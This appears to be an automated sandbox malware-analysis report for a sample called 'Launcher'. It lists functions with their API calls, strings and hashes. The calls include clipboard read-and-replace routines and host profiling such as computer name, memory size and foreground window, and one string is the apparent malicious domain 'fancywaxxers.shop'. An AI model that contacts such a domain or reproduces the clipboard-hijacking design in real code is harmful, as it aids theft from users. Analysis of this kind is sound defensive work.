uw, xrefs: 004239B3
y{, xrefs: 0042399B
Y, xrefs: 004235D9
z{, xrefs: 00423495
pD, xrefs: 004238AB
ps, xrefs: 004238A3
QU, xrefs: 004235D1

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Hi+k$QU$Y$pD$ps$z{${y$uw$y{
API String ID: 237503144-3059748046
Opcode ID: a49ec4b16168cd43b82c1a61e3695bfdc89823705d5ebd9813f98771bf10ae1f
Instruction ID: 48e894a13cbdba02989422c6e733f72a5dd382270272648d490067dc6e0683db
Opcode Fuzzy Hash: a49ec4b16168cd43b82c1a61e3695bfdc89823705d5ebd9813f98771bf10ae1f
Instruction Fuzzy Hash: 76E1D9B42093409FE3108F25E89162BBBF1EB86755F44892DF5D58B391E37C894ACB4B

Function 05731000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000001), ref: 05731032
OpenClipboard.USER32(00000000), ref: 0573103C
GetClipboardData.USER32(0000000D), ref: 0573104C
GlobalLock.KERNEL32(00000000), ref: 0573105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 05731090
GlobalLock.KERNEL32 ref: 057310A0
GlobalUnlock.KERNEL32 ref: 057310C1
EmptyClipboard.USER32 ref: 057310CB
SetClipboardData.USER32(0000000D), ref: 057310D6
GlobalFree.KERNEL32 ref: 057310E3
GlobalUnlock.KERNEL32(?), ref: 057310ED
CloseClipboard.USER32 ref: 057310F3
GetClipboardSequenceNumber.USER32 ref: 057310F9

Memory Dump Source

Source File: 00000003.00000002.2473838730.0000000005731000.00000020.00000800.00020000.00000000.sdmp, Offset: 05730000, based on PE: true

Associated: 00000003.00000002.2473824123.0000000005730000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2473853535.0000000005732000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5730000_Launcher.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: b3bcad5723347c2e0073f8560ae2cc181a5ef87f83ae5bc5258b4a3ea7e6298c
Instruction ID: f58c3d16738bfe4beef2bbe0dd8ced9b8f833aebb41c75a16b2034a96428d961
Opcode Fuzzy Hash: b3bcad5723347c2e0073f8560ae2cc181a5ef87f83ae5bc5258b4a3ea7e6298c
Instruction Fuzzy Hash: 2421717561C2549BD7202B71EC0FB6A7BA8FF047B2F448468F986D6153EF228800E6A1

Function 0040DF42 Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 307
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040DF49

Strings

FS, xrefs: 0040E1BF
@V, xrefs: 0040E1C6
OL, xrefs: 0040E1CD
~q, xrefs: 0040E22D
1`2, xrefs: 0040E1E2
\[HK, xrefs: 0040DFDC
S`/s, xrefs: 0040DF62
L`/s, xrefs: 0040DF91
fancywaxxers.shop, xrefs: 0040E26C

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: Uninitialize
String ID: 1`2$@V$FS$L`/s$OL$S`/s$\[HK$fancywaxxers.shop$~q
API String ID: 3861434553-3903380743
Opcode ID: dc2980f71e93fec5805d8c03bdf3ede9009da90918622aafa02d2fd34036e5d9
Instruction ID: a267a09bab3bca5ead4371a31fd6ca47b8b3e650cbc50dd39442b660771cfb68
Opcode Fuzzy Hash: dc2980f71e93fec5805d8c03bdf3ede9009da90918622aafa02d2fd34036e5d9
Instruction Fuzzy Hash: 1E9106B4505B82CFD3168F3AC5A0263BFE1FF96300718869DC0D64BB56C739A856CB95

Function 0040B9B5 Relevance: 12.6, Strings: 10, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

q+s, xrefs: 0040BB10
Tu5w, xrefs: 0040BB1A
u!q#, xrefs: 0040BAA7
+Q*S, xrefs: 0040BAC3
U+W, xrefs: 0040BACA
Q5T7, xrefs: 0040BA92
U1E3, xrefs: 0040BA8B
5e7g, xrefs: 0040BB42
!EfG, xrefs: 0040BAF2
s%x', xrefs: 0040BAAE

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: U+W$!EfG$+Q*S$5e7g$Q5T7$Tu5w$U1E3$s%x'$u!q#$q+s
API String ID: 0-4176371898
Opcode ID: c3492ff824bfae059698aec9cba6ea7e524aa756b68fab5a25f15ed53206d4bc
Instruction ID: d85ee679084295648b1d2b08a49c557b23f169dc76037802982f1e6708fe248d
Opcode Fuzzy Hash: c3492ff824bfae059698aec9cba6ea7e524aa756b68fab5a25f15ed53206d4bc
Instruction Fuzzy Hash: 38511CB0501340AFD7549F22D989FAA3FB1FB46350F1A86E9C1882F362C7348005CF99

Function 0042CE11 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNEL32(?), ref: 0042D215

Strings

'x1;, xrefs: 0042D3C0
gue3, xrefs: 0042D29A
~|[g, xrefs: 0042D18F, 0042D1A3
/CWk, xrefs: 0042D2D6
~|[g, xrefs: 0042CE58
CV,^, xrefs: 0042D292

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 'x1;$/CWk$CV,^$gue3$~|[g$~|[g
API String ID: 3960555810-2508064178
Opcode ID: 5f14230934055cab2a95509cd348f8025107ec93acc5d64a81cd5782df6ed973
Instruction ID: eae4468cab1d80eedc6d3a72fc341d379fb278b319e95040d6a424428db43078
Opcode Fuzzy Hash: 5f14230934055cab2a95509cd348f8025107ec93acc5d64a81cd5782df6ed973
Instruction Fuzzy Hash: B5A1D57090C3E18AD73ACF2994503ABBBD0AF9B304F5889AED4D997382D7398505CB56

Function 0042D150 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNEL32(?), ref: 0042D215

Strings

'x1;, xrefs: 0042D3C0
gue3, xrefs: 0042D29A
/CWk, xrefs: 0042D3C7
~|[g, xrefs: 0042D18F, 0042D1A3
/CWk, xrefs: 0042D2D6
CV,^, xrefs: 0042D292

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 'x1;$/CWk$/CWk$CV,^$gue3$~|[g
API String ID: 3960555810-310644163
Opcode ID: 62a826ac81c23b20c48b9fdb94004d532b244baa966a8b933c1f3f36fc82f730
Instruction ID: f58a74e3d1d714661fcc200ca993b6e63fa1ba49a0e67f0a45f812666184dae6
Opcode Fuzzy Hash: 62a826ac81c23b20c48b9fdb94004d532b244baa966a8b933c1f3f36fc82f730
Instruction Fuzzy Hash: 3091D67090C3E18BD73ACF2994503ABBBD0AF97304F5889AED4D997382DB394505CB56

Function 004086D0 Relevance: 7.7, APIs: 5, Instructions: 212
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004086F4
GetCurrentThreadId.KERNEL32 ref: 004086FE
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087E4
GetForegroundWindow.USER32 ref: 00408891
ExitProcess.KERNEL32 ref: 00408969

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 59b3bece5444ad3855ace5af1dab250a97b3c51d3cae2b5977dde4d4597af61c
Instruction ID: 5dc553596cca96df28f042791ed5bb607d0d24b01292acde94ea950bda95e086
Opcode Fuzzy Hash: 59b3bece5444ad3855ace5af1dab250a97b3c51d3cae2b5977dde4d4597af61c
Instruction Fuzzy Hash: 2A513673B047044FC318BFB9DD4635AB6D79BC4710F0D813EA999EB396E9788C058689

Function 0040AB30 Relevance: 5.4, Strings: 4, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PKDE, xrefs: 0040AC82
LZAH, xrefs: 0040AEA5, 0040AF81, 0040AF82
@n|D, xrefs: 0040AE87
m, xrefs: 0040AB4E

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: @n|D$LZAH$PKDE$m
API String ID: 0-846695036
Opcode ID: 50a8c4a16200ccff9059b2145592ae2fe158a58c6920962783fd554cd40f12d1
Instruction ID: 82c72bc280584dd094ca8b6b4593b03f4ca3f12bf4b9f8fdbd1d1455cedc5931
Opcode Fuzzy Hash: 50a8c4a16200ccff9059b2145592ae2fe158a58c6920962783fd554cd40f12d1
Instruction Fuzzy Hash: 68C1F4B564C3514BC314DF24C4906AFFBE3AFD2304F08882EE4D5AB392D67989158B8B

Function 004341B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 004341FE
GetSystemMetrics.USER32 ref: 0043420D

Strings

, xrefs: 004342E1

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 167277cf6ccf294d15e4d32d5399475b51c954da4386214e276f9b701a0d761d
Instruction ID: a4535b3692c0beb24d561793f024c52634edf979f8bd8acd01960f097f8d53ff
Opcode Fuzzy Hash: 167277cf6ccf294d15e4d32d5399475b51c954da4386214e276f9b701a0d761d
Instruction Fuzzy Hash: A35181B4E142089FDB40EFACD98569DBBF0BB48710F10856EE498E7350D734A944CF96

Function 0042C607 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042C635
GetComputerNameExA.KERNEL32(00000006,?,00000100), ref: 0042E6D4

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: d6249346f18ddcff7ec5f9d4c4ec74dfb50702f0e36d7016da5090e0cdae78de
Instruction ID: 243e27ba28638e73294109dd44b6e565d9ccf73a34e81a7628a33762b90b6f34
Opcode Fuzzy Hash: d6249346f18ddcff7ec5f9d4c4ec74dfb50702f0e36d7016da5090e0cdae78de
Instruction Fuzzy Hash: 66312635A1C2918AD72D8F3594223FBBBE5AB97304F98557ED08AD3291DF3888018715

Function 0042C601 Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042C635
GetComputerNameExA.KERNEL32(00000006,?,00000100), ref: 0042E6D4

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: 83eebbf984ba7c939470cd70f79aefcc283be80dda3c7c7daaf4baed107ae300
Instruction ID: f42577aa2bf20a80aad147cbb5689fe2575988fb05ce7beae4a1a107d89f1e98
Opcode Fuzzy Hash: 83eebbf984ba7c939470cd70f79aefcc283be80dda3c7c7daaf4baed107ae300
Instruction Fuzzy Hash: 5C212735A1825187D72CCF35D8223BFBBE6AB96304F98957ED08AD7290DF3888018755

Function 00426B60 Relevance: 2.8, Strings: 2, Instructions: 325COMMON

Download Yara Rule

Strings

TWVI, xrefs: 00426BD4
{ts|, xrefs: 00426E54

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: TWVI${ts|
API String ID: 2994545307-2015363285
Opcode ID: 387953d3c32b6a36ff1f89d3912aadf202f267bada535458e27c56ddc5fb9ab6
Instruction ID: 8b3d7c559e9faaf70b14120ab6d21da3f757be4826adfb47da3c037335a8c5f4
Opcode Fuzzy Hash: 387953d3c32b6a36ff1f89d3912aadf202f267bada535458e27c56ddc5fb9ab6
Instruction Fuzzy Hash: 6A91ACB6F143244BD728DE75EC8272B76A2DBC1314F5AC53DEC8597381EA7C9C04828A

Function 0041050E Relevance: 2.3, APIs: 1, Instructions: 802COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1cd4ff04678b51f6391f30ebb619c50978708b9e21e9048314ffa655b2d40c
Instruction ID: 7d8310cac9f68020ac038d5c9e16f701ec8a26d05515b9b559a6ac9869a742d4
Opcode Fuzzy Hash: 0e1cd4ff04678b51f6391f30ebb619c50978708b9e21e9048314ffa655b2d40c
Instruction Fuzzy Hash: D56209B5608B408FD714EF38C5853A6BBE1AF55314F148A3ED4EB873D2E678A485CB42

Function 0042E5EF Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNEL32(00000006,?,00000100), ref: 0042E6D4

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 8e23e375fb148175e51475af153c5243881176c1668eec289cfdb731007af940
Instruction ID: 3fc41fb83b7b0e5e7909ae232ad9ce870339fa7ed45c662db4792acb54101eb1
Opcode Fuzzy Hash: 8e23e375fb148175e51475af153c5243881176c1668eec289cfdb731007af940
Instruction Fuzzy Hash: BC212836A1825087D72CCF3598223FFBBE5AB96304F58957ED18AD7290DF3888018755

Function 0043D962 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043D99F

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 8f7db7a44258b31a83d741c078150c14c69243354f0b242204da0b4ff7d765db
Instruction ID: 434b54817a805475205afdf7faf09ee4e1fadc4ee5c67e090192e38397a204e8
Opcode Fuzzy Hash: 8f7db7a44258b31a83d741c078150c14c69243354f0b242204da0b4ff7d765db
Instruction Fuzzy Hash: 3AF0A7F4E042408BD7049F39B8176677BF0E757304F003C39D182D7256E63AD8118B0A

Function 0043D810 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00440AEE,00000002,00000018,?,?,00000018,?,?,?), ref: 0043D83E

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043E043 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E0B0

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 40bc62ed743149ec83b23a22fda4e6c2f9a4409b2e02acc15438fee232679399
Instruction ID: c095a5b4881af2a71ed4e8e8b8d17efd98eb24b15b23234fc13dc08c1e4b867b
Opcode Fuzzy Hash: 40bc62ed743149ec83b23a22fda4e6c2f9a4409b2e02acc15438fee232679399
Instruction Fuzzy Hash: A2312735B493658BC7289F5AC8C033A7362EBCD700F19A63DDDD117385C2799C06879A

Function 0043E1E1 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

9., xrefs: 0043E260

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: 9.
API String ID: 2994545307-3220845746
Opcode ID: b102a4f5dc1a8fcd2e320cb9e2b72c3cdc87531ee3d353e45222b3bd738158f7
Instruction ID: 9970051dcdd9311747d3fae9e53658928d799ba7443e5e50dbedd5459a30a24f
Opcode Fuzzy Hash: b102a4f5dc1a8fcd2e320cb9e2b72c3cdc87531ee3d353e45222b3bd738158f7
Instruction Fuzzy Hash: 0E115675A092008BE70CCF25DC90737B792ABDA310F19E92CE495973C0DB789C158B0A

Function 0043FA20 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 304da9878ae88c47d41282d82e0888762f2ee89f2b37ca91f04c7a450b83782e
Instruction ID: ed952df5ef9bc721c411059b8039023d36ed10599016bf0f8345505df47ed9a6
Opcode Fuzzy Hash: 304da9878ae88c47d41282d82e0888762f2ee89f2b37ca91f04c7a450b83782e
Instruction Fuzzy Hash: CB811331B482019BCB14DF28D89166BB3E2EBD9714F18E83DE88AC7361E738DC159756

Function 0043BDD0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f98c88e25d2266cd9cb08361483509b01b68d3ae5f7ee2bf596c6e7a605a503
Instruction ID: 4423fd49632fd1ac9b9372073f95bc749b4523cc6890f899f7b277f53f91a65d
Opcode Fuzzy Hash: 6f98c88e25d2266cd9cb08361483509b01b68d3ae5f7ee2bf596c6e7a605a503
Instruction Fuzzy Hash: 3F513A31A042108FC720DF28DC8176BF7A1EB9A718F25A56DEAC5E7391D3759C418BCA

Function 0042D5B5 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6ca0ceac77e38d6d0c4442a1fa312950cb7ba3ec550c630eb2f4534f623e2d49
Instruction ID: 67a55614eceee9c259989ccca3d71215d388ef866751debf613910e67564e5df
Opcode Fuzzy Hash: 6ca0ceac77e38d6d0c4442a1fa312950cb7ba3ec550c630eb2f4534f623e2d49
Instruction Fuzzy Hash: 61315870A083614BC718CF28A46173BBBE1AF5B305F74492DE0D697391D674D80ACB4D

Function 0040CBF6 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040CBFA
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CD45

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8d45547d21d19bcab484d0b0742c1552a27095e299c3170b49ea99bf875b5ceb
Instruction ID: 229bb4a5487000dc7060dd86bb5f9369c383310082a37393f69f6d620ba22405
Opcode Fuzzy Hash: 8d45547d21d19bcab484d0b0742c1552a27095e299c3170b49ea99bf875b5ceb
Instruction Fuzzy Hash: A941D7B4D10B40AFD370AF399A0B7127EF4AB05250F504B2DF9EA866D4E631A4198BD7

Function 0042C918 Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNEL32(00000005,?,00000100), ref: 0042C9F5

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 6be50fa653a36e6f990606920a9a7f8b6c715edbd3326bf5b298982b91ff18e0
Instruction ID: edb953db5a057262878ed6efc5cbd1b65b2ff40b6c331322039f9b9cb8467f49
Opcode Fuzzy Hash: 6be50fa653a36e6f990606920a9a7f8b6c715edbd3326bf5b298982b91ff18e0
Instruction Fuzzy Hash: CD2108B62483414BDB24CF79D5D47ABBBD6AFD5340F09456EC4C9C7241CAB888058756

Function 0043D7A0 Relevance: 1.5, APIs: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B691,00000000,00000001), ref: 0043D7D2

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7dffc7867c9a65075cf17bd1b931362bb650412fa8610b2ffb23f1f3e3ff2434
Instruction ID: e47433a46d97f1d802cc41846b7064817ccf63e9a5046e252ee05e001fb3ae79
Opcode Fuzzy Hash: 7dffc7867c9a65075cf17bd1b931362bb650412fa8610b2ffb23f1f3e3ff2434
Instruction Fuzzy Hash: 69F0E537518210FBC6126F39BC06A5736A8EF8B725F255836F504D7161E738EC01D6AA

Function 004327A3 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004327E8

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 6e8fa3dd1791b630806c8c530f77a105eadaa8cef340d0d32026017ee759318f
Instruction ID: b223dd5114bb6a26cc8f90f4591b1495545bad4281ee0fd2f54314b423d4c5a4
Opcode Fuzzy Hash: 6e8fa3dd1791b630806c8c530f77a105eadaa8cef340d0d32026017ee759318f
Instruction Fuzzy Hash: 7FF01DB85083018FE350DF55C4A475EBBE1FB84304F01882DE495CB350DBB59659CF81

Function 0042EBBE Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042EC01

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: d5d5804d250650886c276fc2ba940212e92d871c9b2c0c1f31251eb62e018d61
Instruction ID: 33039191f89a8fdd095a47940ede7cfff3e730b4664ce8f100ba6edd77a34aa2
Opcode Fuzzy Hash: d5d5804d250650886c276fc2ba940212e92d871c9b2c0c1f31251eb62e018d61
Instruction Fuzzy Hash: 96F098B4508301DFE354DF24D5A871ABBE4AB84704F00491CE5D98B391C7B69648CF86

Function 0043BD90 Relevance: 1.5, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043D7EB,?,0040B691,00000000,00000001), ref: 0043BDC1

Memory Dump Source

Source File: 00000003.00000002.2472576864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2472576864.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2ed7045051c8c571e345ccf25004973f3de333c9efe1e5142599605967170629
